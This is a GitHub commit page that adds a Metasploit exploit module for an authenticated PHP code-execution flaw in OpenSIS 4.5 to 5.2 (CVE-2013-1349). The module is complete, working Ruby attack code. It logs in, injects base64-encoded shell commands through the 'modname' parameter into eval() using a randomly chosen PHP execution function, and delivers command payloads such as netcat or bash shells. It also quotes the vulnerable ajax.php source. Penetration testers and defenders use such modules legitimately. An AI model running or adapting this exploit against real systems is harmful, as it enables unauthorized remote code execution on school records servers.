Skip to content

Commit ce8b8e8

Browse files
committed
Land rapid7#2783 - OpenSIS 'modname' PHP Code Execution
2 parents 52a4e55 + d0ef860 commit ce8b8e8

File tree

1 file changed

+159
-0
lines changed

1 file changed

+159
-0
lines changed
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "OpenSIS 'modname' PHP Code Execution",
16+
'Description' => %q{
17+
This module exploits a PHP code execution vulnerability in OpenSIS
18+
versions 4.5 to 5.2 which allows any authenticated user to execute
19+
arbitrary PHP code under the context of the web-server user.
20+
The 'ajax.php' file calls 'eval()' with user controlled data from
21+
the 'modname' parameter.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'EgiX', # Discovery
27+
'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
28+
],
29+
'References' =>
30+
[
31+
['CVE', '2013-1349'],
32+
['OSVDB', '100676'],
33+
['URL', 'http://karmainsecurity.com/KIS-2013-10'],
34+
['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/']
35+
],
36+
'Payload' =>
37+
{
38+
'BadChars' => "\x00\x0a\x0d",
39+
'Compat' =>
40+
{
41+
'PayloadType' => 'cmd',
42+
'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',
43+
}
44+
},
45+
'DefaultOptions' =>
46+
{
47+
'ExitFunction' => 'none'
48+
},
49+
'Platform' => 'unix',
50+
'Arch' => ARCH_CMD,
51+
'Targets' =>
52+
[
53+
# Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux)
54+
['OpenSIS version 4.5 to 5.2', { 'auto' => true }]
55+
],
56+
'Privileged' => false,
57+
'DisclosureDate' => 'Dec 04 2012',
58+
'DefaultTarget' => 0))
59+
60+
register_options(
61+
[
62+
OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']),
63+
OptString.new('USERNAME', [true, 'The username for OpenSIS']),
64+
OptString.new('PASSWORD', [true, 'The password for OpenSIS'])
65+
], self.class)
66+
end
67+
68+
#
69+
# Login
70+
#
71+
def login(user, pass)
72+
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
73+
print_status("#{peer} - Authenticating as user '#{user}'")
74+
res = send_request_cgi({
75+
'method' => 'POST',
76+
'uri' => normalize_uri(target_uri.path, "index.php"),
77+
'cookie' => @cookie,
78+
'vars_post' => Hash[{
79+
'USERNAME' => user,
80+
'PASSWORD' => pass,
81+
}.to_a.shuffle]
82+
})
83+
if res and res.code == 200 and res.body =~ /Portal\.php/
84+
print_good("#{peer} - Authenticated as user '#{user}'")
85+
return true
86+
else
87+
print_error("#{peer} - Authenticating as user '#{user}' failed")
88+
return false
89+
end
90+
end
91+
92+
#
93+
# Send command for execution
94+
#
95+
def execute_command(cmd, opts = { :php_function => 'system' } )
96+
code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+"&"))
97+
junk = rand_text_alphanumeric(rand(10)+6)
98+
print_status("#{peer} - Sending payload (#{code.length} bytes)")
99+
res = send_request_cgi({
100+
'method' => 'POST',
101+
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
102+
'cookie' => @cookie,
103+
'vars_post' => {
104+
'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//"
105+
}
106+
})
107+
return res
108+
end
109+
110+
#
111+
# Check credentials are valid and confirm command execution
112+
#
113+
def check
114+
return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD'])
115+
fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
116+
print_status("#{peer} - Sending check")
117+
res = execute_command("echo #{fingerprint}")
118+
if res and res.body =~ /align=center>#{fingerprint}/
119+
return Exploit::CheckCode::Vulnerable
120+
elsif res
121+
return Exploit::CheckCode::Safe
122+
end
123+
return Exploit::CheckCode::Unknown
124+
end
125+
126+
def exploit
127+
return unless login(datastore['USERNAME'], datastore['PASSWORD'])
128+
php_function = [
129+
'exec',
130+
'shell_exec',
131+
'passthru',
132+
'system'
133+
].sample
134+
res = execute_command(payload.encoded, { :php_function => php_function })
135+
if res and res.code == 200 and res.body =~ /hacking_log/i
136+
print_good("#{peer} - Payload sent successfully")
137+
else
138+
fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
139+
end
140+
end
141+
end
142+
143+
#
144+
# Source
145+
#
146+
=begin ajax.php
147+
90: if(strpos($_REQUEST['modname'],'?')!==false)
148+
91: {
149+
92: $vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1));
150+
93: $modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?'));
151+
94:
152+
95: $vars = explode('?',$vars);
153+
96: foreach($vars as $code)
154+
97: {
155+
98: $code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';");
156+
99: eval($code);
157+
100: }
158+
101: }
159+
=end

0 commit comments

Comments
 (0)